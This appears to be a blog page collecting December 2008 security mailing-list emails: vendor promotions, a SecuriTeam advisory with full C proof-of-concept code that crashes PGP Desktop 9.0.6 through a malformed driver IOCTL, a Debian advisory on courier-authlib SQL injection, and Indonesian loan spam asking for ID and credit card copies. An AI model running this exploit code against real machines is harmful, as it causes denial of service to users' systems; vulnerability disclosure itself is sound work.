Visit the Subscription Management (http://www.techgenix.com/newsletter/) section to unsubscribe.
WindowsNetworking.com is in no way affiliated with Microsoft Corp.
For sponsorship information, contact us at advertising@windowsnetworking.com
Copyright © WindowsNetworking.com 2008. All rights reserved.

Tuesday, December 23, 2008

The Latest Network Security Developments

Zero in on the hottest network security technologies you need to know about.

Stay out in front of the bad guys with this Executive Guide that presents the most up-to-date information on network security.
https://www.accelacomm.com/jlp/EM_50107575/7/50107575/

Many IT professionals and industry experts believe perimeter network defenses are no longer strong enough to keep your network safe. But firewall vendors are not going quietly into the night. Next-generation firewall features promise to keep firewalls at the forefront of your security strategy.

In the meantime better protect your IT environment with NAC, data leakage prevention controls, identity management, auditing tools and more. Discover how in this Executive Guide.

Sincerely,
Network World, Inc.

To unsubscribe, change your preferences, or change your e-mail address, go to the following URL:
http://optout.nww.com/nwwonline.aspx?emid=fy%2fmU7wupoHn0q7JFEHpdPr7bfGFXQ4iss%2b9rKvFX5A%3d

If the above URL is not enabled as a link, please copy it in to your browser window to access our Preferences Page.

Read Network World's privacy policy at http://networkworld.com/tos.html

Network World, Inc.
492 Old Connecticut Path
Framingham, MA 01701

Product Information from Security Management

FREE PRODUCT INFO FROM SECURITY MANAGEMENT

As a valued subscriber to SECURITY MANAGEMENT magazine, we would like to welcome you to the SECURITY MANAGEMENT Product Information Service. You can instantly request product and service information from our December 2008 issue.

Simply click on the link below that will provide you access to supplier company Websites, parts and equipment information.

SECURITY MANAGEMENT ONLINE PRODUCT INFORMATION SERVICE

For customer service, email us at spitcher@asisonline.org. To unsubscribe from SECURITY MANAGEMENT Online Product Information Service, click here.

Using the SECURITY MANAGEMENT's Product Information Service, you agree that SECURITY MANAGEMENT may send inquiry information to only those companies you visit or request more information on. If you do not wish to receive future SECURITY MANAGEMENT Online Product Information Service mailings you may opt-out and we will not share your contact information with marketers.

©copyright 2008 SECURITY MANAGEMENT, 1625 PRINCE STREET, ALEXANDRIA, VA, 22314 2818. All product names contained herein are the trademarks of their respective holders. SECURITY MANAGEMENT is not responsible for the content or privacy of links to Web sites outside the SECURITY MANAGEMENT Network.

*The publisher is not responsible for the contents of the articles herein, and any person following the advice or procedures in these articles does so at his or her own risk. The publisher is not liable for the content or representations in advertisements. Neither the publisher nor any contributor will be responsible for any error of omission in the information provided and/or for the results obtained from the use of such information.

If you have any concerns about this email, its contents or how it is to be used, please read our Privacy Policy

[NT] PGP Desktop PGPwded.sys Denial of Service

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

PGP Desktop PGPwded.sys Denial of Service
------------------------------------------------------------------------

SUMMARY

PGP Desktop 's PGPweded.sys Driver does not sanitize user supplied input
(IOCTL) and this lead to a Driver Collapse that propagates on the system
with a BSOD.

DETAILS

Vulnerable Systems:
* PGP Desktop version 9.0.6

The affected PHPwded.sys IOCTL is 0x80022038:
+-------------------------------------------------+
Device Type: Custom Device Type: 0x8002, 32770
Transfer Type: METHOD_BUFFERED (0x0, 0)
Access Type: FILE_ANY_ACCESS (0x0, 0)
Function Code: 0x80E, 2062
+-------------------------------------------------+

Exploit:
/* PGPwded.sys KERNEL_MODE_EXCEPTION_NOT_HANDLED - DoS PoC
*
* Author: Giuseppe 'Evilcry' Bonfa'
* E-Mail: evilcry {AT} gmail. {DOT} com
* Website: http://evilcry.netsons.org
*
*/

/*
Since we had publishing problems, we used spaces between escape < char and
the include file as shown here: #include < windows.h >, to compile you
have to delete the space.

*/
#include < windows.h >
#include < stdio.h >
#include < stdlib.h >

int main(void)
{
HANDLE hDevice;
DWORD Dummy;

system("cls");
printf("\n .:: PGP Enterprise DoS Proof of Concept ::.\n");

hDevice = CreateFileA("\\\\.\\PGPwdef",
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);

if (hDevice == INVALID_HANDLE_VALUE)
{
printf("\n Unable to Open PGPwded Device Driver\n");
return EXIT_FAILURE;
}

DeviceIoControl(hDevice, 0x80022038,(LPVOID) 0x80000001, 0, (LPVOID)
0x80000002, 0, &Dummy, (LPOVERLAPPED)NULL);

return EXIT_SUCCESS;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:contact.fingers@gmail.com>
evil fingers.
The original article can be found at:
<http://www.evilfingers.com/advisory/PGPDesktop_9_0_6_Denial_Of_Service.pdf> http://www.evilfingers.com/advisory/PGPDesktop_9_0_6_Denial_Of_Service.pdf

========================================

====================
====================

ISAserver.org - GFI WebMonitor Voted ISAserver.org Readers’ Choice Award Winner - Content Security

ISAserver.org - RealTime Article Update

Hi Security World,

Title: GFI WebMonitor Voted ISAserver.org Readers' Choice Award Winner - Content Security
Author: The Editor
Link: http://www.ISAserver.org/news/ISAserver-Readers-Choice-Award-Content-Security-GFI-WebMonitor-Nov08.html
Summary: GFI WebMonitor was selected the winner in the Content Security category of the ISAserver.org Readers' Choice awards. WebSense Enterprise and McAfee SecurityShield were runner-up and second runner-up respectively.

Visit the Subscription Management (http://www.techgenix.com/newsletter/) section to unsubscribe.
ISAserver.org is in no way affiliated with Microsoft Corp.
For sponsorship information, contact us at advertising@isaserver.org

Monday, December 22, 2008

How Secure are your Endpoints?

Endpoints are the universal Achilles heel of risk, but with the right armor they can be secured.

Successfully secure your endpoints with a unified, single agent with central control. Find out how in this whitepaper:
https://www.accelacomm.com/jlp/EM_50107689/7/50107689/

Reduce endpoint vulnerabilities, better protect corporate data, eliminate business operation disruptions and consistently comply with federal regulations with the right strategy.

Don't let endpoints prove to be your information security weakness. Download this whitepaper today.
https://www.accelacomm.com/jlp/EM_50107689/7/50107689/

Sincerely,
Network World, Inc.

To unsubscribe, change your preferences, or change your e-mail address, go to the following URL:
http://optout.nww.com/nwwonline.aspx?emid=fy%2fmU7wupoHn0q7JFEHpdPr7bfGFXQ4iss%2b9rKvFX5A%3d

If the above URL is not enabled as a link, please copy it in to your browser window to access our Preferences Page.

Read Network World's privacy policy at http://networkworld.com/tos.html

Network World, Inc.
492 Old Connecticut Path
Framingham, MA 01701

personal loan 8-125 JT..provisi/adm 1,5 %

kredit tanpa agunan dari bank terbesar di asia ,memberikan kemudahan bagi
anda untuk

mendapatkannya dengan persyaratan yang sangat mudah dan flexible cukup
dengan fc ktp dan

fc credit card (sisi depannya saja),fc billing tagihan 1 bulan terakhir
(bila ada)

dan bunga yang sangat kompetitif ,proses hingga pencairan hanya membutuhkan
MAXIMAL

5- 7 hari kerja saja.kemudahan pembayaran yg dapat dilakukan via ATM
BCA,LIPPO,BII

atau pun dapat juga lewat kantor pos.;;provisi/bea adm hanya 1,5% dr nilai
kredit yg di setujui.

DIBANTU HINGGA CAIR........

hubungi :

windi

94624222

http://windi09.webs.com/

"wonderwindi09.gmail.com"

PERHITUNGAN BUNGA/BULAN

TENOR

Jml.Pinjaman 12 bulan 24 bulan 36 bulan

8.000.000 - 14.999.999 1.87% 1.87 %. -

15.000.000 - 125.000.000 1.70% 1.75 %. 1.80 %.

TABEL ANGSURAN

PINJAMAN 1 TAHUN 2 TAHUN 3 TAHUN

8,000,000 816,267 482,933

9,000,000 918,300 543,300

10,000,000 1,020,334 603,666

10,500,000 1,071,350 633,850

11,000,000 1,122,367 664,033

12,000,000 1,224,401 724,400

13,000,000 1,326,434 784,766

14,000,000 1,428,467 845,133

15,000,000 1,505,000 887,500 686,667

16,000,000 1,605,333 946,667 732,444

17,000,000 1,705,667 1,005,833 778,222

18,000,000 1,806,000 1,065,000 824,000

19,000,000 1,906,333 1,124,167 869,778

20,000,000 2,006,667 1,183,333 915,556

21,000,000 2,107,000 1,242,500 961,333

22,000,000 2,207,333 1,301,667 1,007,111

23,000,000 2,307,667 1,360,833 1,052,889

24,000,000 2,408,000 1,420,000 1,098,667

25,000,000 2,508,333 1,479,167 1,144,444

25,500,000 2,558,500 1,508,750 1,167,333

26,000,000 2,608,667 1,538,333 1,190,222

27,000,000 2,709,000 1,597,500 1,236,000

28,000,000 2,809,333 1,656,667 1,281,778

29,000,000 2,909,667 1,715,833 1,327,556

30,000,000 3,010,000 1,775,000 1,373,333

31,000,000 3,110,333 1,834,167 1,419,111

32,000,000 3,210,667 1,893,333 1,464,889

33,000,000 3,311,000 1,952,500 1,510,667

34,000,000 3,411,333 2,011,667 1,556,444

35,000,000 3,511,667 2,070,833 1,602,222

36,000,000 3,612,000 2,130,000 1,648,000

37,000,000 3,712,333 2,189,167 1,693,778

38,000,000 3,812,667 2,248,333 1,739,556

39,000,000 3,913,000 2,307,500 1,785,333

40,000,000 4,013,333 2,366,667 1,831,111

41,000,000 4,113,667 2,425,833 1,876,889

42,000,000 4,214,000 2,485,000 1,922,667

43,000,000 4,314,333 2,544,167 1,968,444

44,000,000 4,414,667 2,603,333 2,014,222

45,000,000 4,515,000 2,662,500 2,060,000

46,000,000 4,615,333 2,721,667 2,105,778

47,000,000 4,715,667 2,780,833 2,151,556

48,000,000 4,816,000 2,840,000 2,197,333

49,000,000 4,916,333 2,899,167 2,243,111

50,000,000 5,016,667 2,958,333 2,288,889

55,000,000 5,518,333 3,254,167 2,517,778

60,000,000 6,020,000 3,550,000 2,746,667

65,000,000 6,521,667 3,845,833 2,975,556

70,000,000 7,023,333 4,141,667 3,204,444

75,000,000 7,525,000 4,437,500 3,433,333

80,000,000 8,026,667 4,733,333 3,662,222

85,000,000 8,528,333 5,029,167 3,891,111

90,000,000 9,030,000 5,325,000 4,120,000

95,000,000 9,531,667 5,620,833 4,348,889

100,000,000 10,033,333 5,916,667 4,577,778

105,000,000 10,535,000 6,212,500 4,806,667

110,000,000 11,036,667 6,508,333 5,035,556

115,000,000 11,538,333 6,804,167 5,264,444

120,000,000 12,040,000 7,100,000 5,493,333

125,000,000 12,541,667 7,395,833 5,722,222

--
View this message in context: http://www.nabble.com/personal-loan-8-125-JT..provisi-adm-1%2C5---tp21138895p21138895.html
Sent from the Debian Firewall mailing list archive at Nabble.com.

--
To UNSUBSCRIBE, email to debian-firewall-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org

[SECURITY] [DSA 1688-2] New courier-authlib packages fix regression

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1688-2 security@debian.org
http://www.debian.org/security/ Steffen Joeris
December 22, 2008 http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package : courier-authlib
Vulnerability : SQL injection
Problem type : local/remote XXX
Debian-specific: no
CVE Id(s) : CVE-2008-2380 CVE-2008-2667

The update of courier-authlib in DSA 1688-1 caused a regression with
setups that do not use mail addresses for authentification. This update
fixes this regression. For reference, the full advisory text is below.

Two SQL injection vulnerabilities have beein found in courier-authlib,
the courier authentification library. The MySQL database interface used
insufficient escaping mechanisms when constructing SQL statements,
leading to SQL injection vulnerabilities if certain charsets are used
(CVE-2008-2380). A similar issue affects the PostgreSQL database
interface (CVE-2008-2667).

For the stable distribution (etch), these problems have been fixed in
version 0.58-4+etch3.

For the testing distribution (lenny) and the unstable distribution
(sid), these problems have been fixed in version 0.61.0-1+lenny1.

We recommend that you upgrade your courier-authlib packages.

Upgrade instructions
- --------------------

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 4.0 alias etch
- -------------------------------

Source archives:

http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib_0.58-4+etch3.dsc
Size/MD5 checksum: 970 eea6bc2a491339d1b06f0d9891906a4f
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib_0.58.orig.tar.gz
Size/MD5 checksum: 3342115 75b5b2b72d550048ed1b29e687a1a60d
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib_0.58-4+etch3.diff.gz
Size/MD5 checksum: 44339 c051936ba955b33ac17bed1a7a062ed6

alpha architecture (DEC Alpha)

http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-dev_0.58-4+etch3_alpha.deb
Size/MD5 checksum: 150150 c1fb3322ef09b7e5592cdb2e0e972e8b
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authdaemon_0.58-4+etch3_alpha.deb
Size/MD5 checksum: 6982 fdcfcee4cf7e92463d80fc52c31544c6
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-pipe_0.58-4+etch3_alpha.deb
Size/MD5 checksum: 8958 d0d7c0c186dc70bf163fb56efdac13e0
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib_0.58-4+etch3_alpha.deb
Size/MD5 checksum: 92768 ad72b16c890b88f5878b044ba634d743
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-ldap_0.58-4+etch3_alpha.deb
Size/MD5 checksum: 23274 072c28b73f51ec0c0853d2235cc43f7a
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-postgresql_0.58-4+etch3_alpha.deb
Size/MD5 checksum: 20456 9946cb154a436ad185e6ac59d219ee0d
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-mysql_0.58-4+etch3_alpha.deb
Size/MD5 checksum: 20384 add1d85c7f9f1f951110112e57dd941c
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-userdb_0.58-4+etch3_alpha.deb
Size/MD5 checksum: 39140 eb641b37baca55b34824e6ccc9123604

amd64 architecture (AMD x86_64 (AMD64))

hppa architecture (HP PA RISC)

i386 architecture (Intel ia32)

ia64 architecture (Intel ia64)

mips architecture (MIPS (Big Endian))

http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-dev_0.58-4+etch3_mips.deb
Size/MD5 checksum: 124734 db5ac1f173860a9a8b0abdb81899eaf5
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-ldap_0.58-4+etch3_mips.deb
Size/MD5 checksum: 21922 f905ce6714943afc4f99bde253ad06dd
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib_0.58-4+etch3_mips.deb
Size/MD5 checksum: 81866 342671c976b85df7f9cbdcd4e9944fbc
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authdaemon_0.58-4+etch3_mips.deb
Size/MD5 checksum: 6980 67f98c77898ebe0ad905c87a22df3765
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-pipe_0.58-4+etch3_mips.deb
Size/MD5 checksum: 8212 8f102b2250c3d69e28dcc72a50e660b9
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-postgresql_0.58-4+etch3_mips.deb
Size/MD5 checksum: 19488 a7fc20bcbaafd8d6f0053b41b2e07e5e
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-mysql_0.58-4+etch3_mips.deb
Size/MD5 checksum: 19506 782e5bf2a2ba56eba4f9836ffae51125
http://security.debian.org/pool/updates/main/c/courier-authlib/courier-authlib-userdb_0.58-4+etch3_mips.deb
Size/MD5 checksum: 35230 113b19cb398cdd1d9599a0cc21887e0c

mipsel architecture (MIPS (Little Endian))

powerpc architecture (PowerPC)

s390 architecture (IBM S/390)

sparc architecture (Sun SPARC/UltraSPARC)

These files will probably be moved into the stable distribution on
its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iQEcBAEBAgAGBQJJUCBIAAoJEL97/wQC1SS+BVsH/335R5WqInHRraHk0JE3Owzt
qV5xBgjWXnU7cxKEvsPmvhYanJs6kjd24S5d9GOQVVZhKS6zC6ToH+u7GwOnYChR
+kLdtLziYSx8mcZUtrjWeL/iYaE3xClRTROgfYUXrMJ2RawU4kUgx7nxTPwF76ei
axmURM4ImgoxVF7fMRRIoX/pgvl3dGoUPdzCepxTrrdjqfUhXZCaQ8l7xikKVcGV
71oM7szbhZL6QIBxY2G4Oa/LByuj1UOSfo9y0M4+V46KyFYBjjKbzbqNpo2agLU+
7LR0mtk7dYvVDDdr/gDBcTJ0y8UCkrJ3SVTJqHVXHx8CrDikc5IfOqEd+1sWA1g=
=0+3H
-----END PGP SIGNATURE-----

--
To UNSUBSCRIBE, email to debian-security-announce-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org

Search This Blog

Friday, December 26, 2008

Thursday, December 25, 2008

Wednesday, December 24, 2008

Tuesday, December 23, 2008

Monday, December 22, 2008